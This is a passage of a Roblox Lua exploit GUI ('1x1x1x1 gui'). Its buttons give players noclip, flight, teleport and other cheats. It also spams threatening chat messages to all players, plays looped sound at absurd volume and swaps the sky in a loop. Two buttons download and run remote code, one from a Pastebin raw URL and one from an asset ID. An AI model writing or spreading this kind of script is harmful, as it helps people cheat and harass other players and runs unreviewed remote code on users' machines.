= 14.000 fly.TextWrapped = true tp.Name = "tp" tp.Parent = Frame tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0) tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0) tp.Size = UDim2.new(0, 89, 0, 31) tp.Font = Enum.Font.GothamBold tp.Text = "click to tp" tp.TextColor3 = Color3.fromRGB(0, 0, 0) tp.TextScaled = true tp.TextSize = 14.000 tp.TextWrapped = true message.Name = "message" message.Parent = Frame message.BackgroundColor3 = Color3.fromRGB(255, 0, 0) message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0) message.Size = UDim2.new(0, 89, 0, 34) message.Font = Enum.Font.GothamBold message.Text = "messages" message.TextColor3 = Color3.fromRGB(0, 0, 0) message.TextScaled = true message.TextSize = 14.000 message.TextWrapped = true message.MouseButton1Down:Connect(function() while true do wait(2) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL") wait(2) end end) floatingpad.Name = "floatingpad" floatingpad.Parent = Frame floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0) floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0) floatingpad.Size = UDim2.new(0, 79, 0, 34) floatingpad.Font = Enum.Font.GothamBold floatingpad.Text = "floating pad (requires r6)" floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0) floatingpad.TextScaled = true floatingpad.TextSize = 14.000 floatingpad.TextWrapped = true r6.Name = "r6" r6.Parent = Frame r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0) r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0) r6.Size = UDim2.new(0, 79, 0, 34) r6.Font = Enum.Font.GothamBold r6.Text = "r15 to r6" r6.TextColor3 = Color3.fromRGB(0, 0, 0) r6.TextScaled = true r6.TextSize = 14.000 r6.TextWrapped = true r6.MouseButton1Down:Connect(function() loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))() end) c00lgui.Name = "c00lgui" c00lgui.Parent = Frame c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0) c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0) c00lgui.Size = UDim2.new(0, 88, 0, 34) c00lgui.Font = Enum.Font.GothamBold c00lgui.Text = "fe c00lgui" c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0) c00lgui.TextScaled = true c00lgui.TextSize = 14.000 c00lgui.TextWrapped = true c00lgui.MouseButton1Down:Connect(function() loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)() end) rejoin.Name = "rejoin" rejoin.Parent = Frame rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0) rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0) rejoin.Size = UDim2.new(0, 79, 0, 34) rejoin.Font = Enum.Font.GothamBold rejoin.Text = "rejoin" rejoin.TextColor3 = Color3.fromRGB(0, 0, 0) rejoin.TextScaled = true rejoin.TextSize = 14.000 rejoin.TextWrapped = true rejoin.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local gamePlaceId = game.PlaceId local teleportService = game:GetService("TeleportService") teleportService:Teleport(gamePlaceId, player) end) -- Scripts: local function WVDQ_fake_script() -- ball.LocalScript local script = Instance.new('LocalScript', ball) script.Parent.MouseButton1Click:Connect(function() local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Camera = workspace.CurrentCamera local SPEED_MULTIPLIER = 30 local JUMP_POWER = 60 local JUMP_GAP = 0.3 local character = game.Players.LocalPlayer.Character for i,v in ipairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end local ball = character.HumanoidRootPart ball.Shape = Enum.PartType.Ball ball.Size = Vector3.new(5,5,5) local humanoid = character:WaitForChild("Humanoid") local params = RaycastParams.new() params.FilterType = Enum.RaycastFilterType.Blacklist params.FilterDescendantsInstances = {character} local tc = RunService.RenderStepped:Connect(function(delta) ball.CanCollide = true humanoid.PlatformStand = true if UserInputService:GetFocusedTextBox() then return end if UserInputService:IsKeyDown("W") then ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("A") then ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("S") then ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("D") then ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end --ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0) end) UserInputService.JumpRequest:Connect(function() local result = workspace:Raycast( ball.Position, Vector3.new( 0, -((ball.Size.Y/2)+JUMP_GAP), 0 ), params ) if result then ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0) end end) Camera.CameraSubject = ball humanoid.Died:Connect(function() tc:Disconnect() end) end) end coroutine.wrap(WVDQ_fake_script)() local function UUBW_fake_script() -- noclip.LocalScript local script = Instance.new('LocalScript', noclip) local noClipEnabled = false --Toggle noclipButton script.parent.MouseButton1Click:Connect(function() noClipEnabled = not noClipEnabled script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF" if noClipEnabled then -- Enable Button game:GetService("RunService").Stepped:Connect(function() if noClipEnabled then for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if part:IsA("BasePart") and part.CanCollide then part.CanCollide = false end end end end) else --Disable noclipButton for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end end end) end coroutine.wrap(UUBW_fake_script)() local function JLHA_fake_script() -- plane.LocalScript local script = Instance.new('LocalScript', plane) function click() repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil; wait(0.4) for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do if v ~= script then v:Destroy() end end local player = game:service("Players").LocalPlayer local mouse = player:GetMouse() local cam = workspace.CurrentCamera local char = player.Character local Torsoz = char:findFirstChild("Torso") local NV = Vector3.new() local Main local W,S = false,false local DoublePress = {nil,0} script.Parent = char local TrailParts = {} local Acceleration = 0.08 local Speed = 0 local MinSpeed = 0 local MaxSpeed = 3.2 local DesiredDirection = cam.CoordinateFrame.lookVector local Direction = DesiredDirection local Roll = 0 local AllowTrails = true script.Name = "AdvFlight" local P = Instance.new("Part") P.Anchored = true P.CanCollide = false P.Name = "Part" P.formFactor = "Custom" P.Size = Vector3.new(0.2,0.2,0.2) P.Locked = true P.TopSurface = 10 P.BottomSurface = 10 P.FrontSurface = 10 P.BackSurface = 10 P.LeftSurface = 10 P.RightSurface = 10 P.Material = "Pebble" P.BrickColor = BrickColor.new("White") local shipp local shadow local campart function RAY(pos, dir, startpos, endpos, distleft, collidedlist) collidedlist = collidedlist or {char} startpos = startpos or pos distleft = distleft or dir.unit * dir.magnitude endpos = endpos or pos + distleft local ray = Ray.new(pos, distleft) local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist) if hitz ~= nil then if hitz.CanCollide == false then table.insert(collidedlist, hitz) local newpos = enz local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude) if newdistleft ~= NV then return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist) end end end return hitz, enz, ray end function FindSurface(part, position) local obj = part.CFrame:pointToObjectSpace(position) local siz = part.Size/2 for i,v in pairs(Enum.NormalId:GetEnumItems()) do local vec = Vector3.FromNormalId(v) local wvec = part.CFrame:vectorToWorldSpace(vec) local vz = (obj)/(siz*vec) if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then return wvec,vec end end if part.className == "WedgePart" then return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707) end end function HSV(H,S,V) H = H % 360 local C = V * S local H2 = H/60 local X = C * (1 - math.abs((H2 %2) -1)) local color = Color3.new(0,0,0) if H2 <= 0 then color = Color3.new(C,0,0) elseif 0 <= H2 and H2 <= 1 then color = Color3.new(C,X,0) elseif 1 <= H2 and H2 <= 2 then color = Color3.new(X,C,0) elseif 2 <= H2 and H2 <= 3 then color = Color3.new(0,C,X) elseif 3 <= H2 and H2 <= 4 then color = Color3.new(0,X,C) elseif 4 <= H2 and H2 <= 5 then color = Color3.new(X,0,C) elseif 5 <= H2 and H2 <= 6 then color = Color3.new(C,0,X) end local m = V - C return Color3.new(color.r + m, color.g + m, color.b + m) end function Build(shiptype) AllowTrails = true for i, v in pairs(char:children()) do if v.className == "Model" and v.Name == "Ship" then v:remove() end end for i, v in pairs(TrailParts) do for _,V in pairs(v[3]) do V:Destroy() end end local mdl = Instance.new("Model", char) mdl.Name = "Ship" ------------------------ Speeder Ship Type ----------------------------- if shiptype == "Speeder" then shipp = P:Clone() shipp.Parent = mdl shipp.Size = Vector3.new(1,1,2.2) local shipwing1 = P:Clone() shipwing1.Parent = mdl shipwing1.Size = Vector3.new(0.6,1.2,2) local mesh = Instance.new("SpecialMesh", shipwing1) mesh.MeshType = "Wedge" local shipwing2 = shipwing1:Clone() shipwing2.Parent = mdl campart = P:Clone() campart.Transparency = 1 local shipwing21 = P:Clone() shipwing21.Parent = mdl shipwing21.Size = Vector3.new(0.32,1.1,2.6) local mesh = Instance.new("SpecialMesh", shipwing21) mesh.MeshType = "Wedge" local shipwing22 = shipwing21:Clone() shipwing22.Parent = mdl campart = P:Clone() campart.Transparency = 1 local shipwi = P:Clone() shipwi.Parent = mdl shipwi.Size = Vector3.new(1,1,1.2) local mesh = Instance.new("SpecialMesh", shipwi) mesh.MeshType = "Wedge" local shipwi2 = P:Clone() shipwi2.Parent = mdl shipwi2.Size = Vector3.new(0.7,0.7,0.84) shipwi2.Material = "SmoothPlastic" shipwi2.BrickColor = BrickColor.new("Pastel blue") shipwi2.Reflectance = 0.6 local mesh = Instance.new("SpecialMesh", shipwi2) mesh.MeshType = "Wedge" shadow = P:Clone() shadow.Parent = mdl shadow.Name = "Shadow" shadow.Material = "SmoothPlastic" shadow.BrickColor = BrickColor.new("Really black") local mesh = Instance.new("SpecialMesh",shadow) mesh.MeshType = "Sphere" TrailParts = {} table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18}) table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15}) table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15}) for _, V in pairs(TrailParts) do for i = 1, V[7] do local p = P:Clone() local mesh = Instance.new("SpecialMesh", p) mesh.MeshId = "http://www.roblox.com/asset/?id=9856898" mesh.TextureId = "http://www.roblox.com/asset/?id=48358980" p.BrickColor = BrickColor.new("Dark stone grey") table.insert(V[3],p) end end function ReposParts() shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2) shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2) shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2) shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2) shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7) shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015) campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0) end cam.CameraSubject = campart cam.CameraType = "Track" shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p ReposParts() end AllowTrails = true end Build("Speeder") function B1D() Build("Speeder") end function RollThatSht(direc) if Roll == 0 then for i = 1, 50 do Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc wait(0.02) end Roll = 0 end end function KD(key) if key == "w" then W = true elseif key == "s" then S = true end local rollpls = 0 if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then DoublePress = {nil,0} if key == "a" then rollpls = -1 elseif key == "d" then rollpls = 1 end end DoublePress = {key,tick()} if rollpls ~= 0 then RollThatSht(rollpls) end end function KU(key) if key == "w" then W = false elseif key == "s" then S = false end end function Equip() end function Unequip() end mouse.Icon = "rbxasset://textures\\GunCursor.png" mouse.Button1Down:connect(B1D) mouse.KeyDown:connect(KD) mouse.KeyUp:connect(KU) local count = 0 local hue = 0 --game:GetService("RunService").Stepped:connect(function() while wait(0.02) do ------ Speed -------- local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration) if W == true then Speed = Speed + valu elseif S == true then Speed = Speed - valu end if Speed > MaxSpeed then Speed = MaxSpeed elseif Speed < MinSpeed then Speed = MinSpeed end ------ left/right tilt --------- local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z))) local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z))) local swing = 0 if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then swing = target-current else swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360) end DesiredDirection = cam.CoordinateFrame.lookVector ------ direction smoothening ------ local dir = DesiredDirection.unit if Direction ~= dir then if (Direction - dir).magnitude < 0.01 then Direction = dir else local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10 Direction = (Direction + dist).unit end end shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2)) ReposParts() ------ shadow ------ local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0)) local angles = CFrame.new() if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then local wvec,vec = FindSurface(ghitz,genz) angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0) elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0) end shadow.CFrame = CFrame.new(genz) * angles shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5) shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26) ------- Trails ----------------------- if AllowTrails == true then count = (count+1)%1 hue = (hue+1) % 360 local rgb = HSV(hue,0.65,0.85) for _,v in pairs(TrailParts) do local to = (v[1].CFrame * v[5]).p if Speed > MinSpeed + 0.2 then v[2] = (v[2]%#v[3]) + 1 v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0) v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6]) v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b) v[3][v[2]].Transparency = 0.15 v[3][v[2]].Parent = game.Players.LocalPlayer.Character else v[2] = (v[2]%#v[3]) + 1 v[3][v[2]].Parent = nil end v[4] = to end end end --end) -- 138098590 -- plane destroyed sound -- 133082569 -- propeller 2 -- 135645246 -- propeller 1 --[[ Possible Game names Aeroscape Airbound Aerialtude ]] end script.Parent.MouseButton1Down:connect(click) end coroutine.wrap(JLHA_fake_script)() local function SSWSNG_fake_script() -- fly.LocalScript local script = Instance.new('LocalScript', fly) speeds = 1 local speaker = game:GetService("Players").LocalPlayer local chr = game.Players.LocalPlayer.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") nowe = false script.parent.MouseButton1Down:connect(function() if nowe == true then nowe = false speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics) else nowe = true for i = 1, speeds do spawn(function() local hb = game:GetService("RunService").Heartbeat tpwalking = true local chr = game.Players.LocalPlayer.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") while tpwalking and hb:Wait() and chr and hum and hum.Parent do if hum.MoveDirection.Magnitude > 0 then chr:TranslateBy(hum.MoveDirection) end end end) end game.Players.LocalPlayer.Character.Animate.Disabled = true local Char = game.Players.LocalPlayer.Character local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController") for i,v in next, Hum:GetPlayingAnimationTracks() do v:AdjustSpeed(0) end speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming) end if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) if nowe == true then plr.Character.Humanoid.PlatformStand = true end while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do game:GetService("RunService").RenderStepped:Wait() if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0,0) end -- game.Players.LocalPlayer.Character.Animate.Disabled = true bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) end ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false game.Players.LocalPlayer.Character.Animate.Disabled = false tpwalking = false else local plr = game.Players.LocalPlayer local UpperTorso = plr.Character.UpperTorso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 local bg = Instance.new("BodyGyro", UpperTorso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = UpperTorso.CFrame local bv = Instance.new("BodyVelocity", UpperTorso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) if nowe == true then plr.Character.Humanoid.PlatformStand = true end while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do wait() if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) end ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false game.Players.LocalPlayer.Character.Animate.Disabled = false tpwalking = false end end) local tis end coroutine.wrap(SSWSNG_fake_script)() local function GYRIVDI_fake_script() -- tp.LocalScript local script = Instance.new('LocalScript', tp) script.Parent.MouseButton1Click:Connect(function() mouse = game.Players.LocalPlayer:GetMouse() tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "Click Teleport" tool.Activated:connect(function() local pos = mouse.Hit+Vector3.new(0,2.5,0) pos = CFrame.new(pos.X,pos.Y,pos.Z) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end) tool.Parent = game.Players.LocalPlayer.Backpack end) end coroutine.wrap(GYRIVDI_fake_script)() local function BCBQLZ_fake_script() -- floatingpad.LocalScript local script = Instance.new('LocalScript', floatingpad) script.Parent.MouseButton1Click:Connect(function() local name = game.Players.LocalPlayer.Name local p = Instance.new("Part") p.Parent = workspace p.Locked = true p.Color = Color3.new(0.666667, 0, 0) p.Size = Vector3.new(8, 1.2, 8) p.Anchored = true local m = Instance.new("CylinderMesh") m.Scale = Vector3.new(1, 0.5, 1) m.Parent = p while true do p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z) wait() end end) end coroutine.wrap(BCBQLZ_fake_script)() local function KXYQAXQ_fake_script() -- Frame.UIDrag local script = Instance.new('LocalScript', Frame) -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end coroutine.wrap(KXYQAXQ_fake_script)() local function GEVXYR_fake_script() -- ScreenGui.notfication local script = Instance.new('LocalScript', ScreenGui) wait(2) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "now loaded lol"; Text = "By FishNoobAhh"; Icon = ""; Duration = 10; Button1 = "yes sirrr"; }) end coroutine.wrap(GEVXYR_fake_script)() local function PYIQX_fake_script() -- ScreenGui.messageload local script = Instance.new('LocalScript', ScreenGui) if script.Parent.Enabled == true then local m = Instance.new("Message", game.Workspace) m.Text = "1x1x1x1 gui fe Loading..." wait(2) m:Destroy() script:Destroy() else end end coroutine.wrap(PYIQX_fake_script)() end) end; task.spawn(C_4); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_6() local script = G2L["6"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_6); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_8() local script = G2L["8"]; script.Parent.MouseButton1Down:Connect(function() imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo 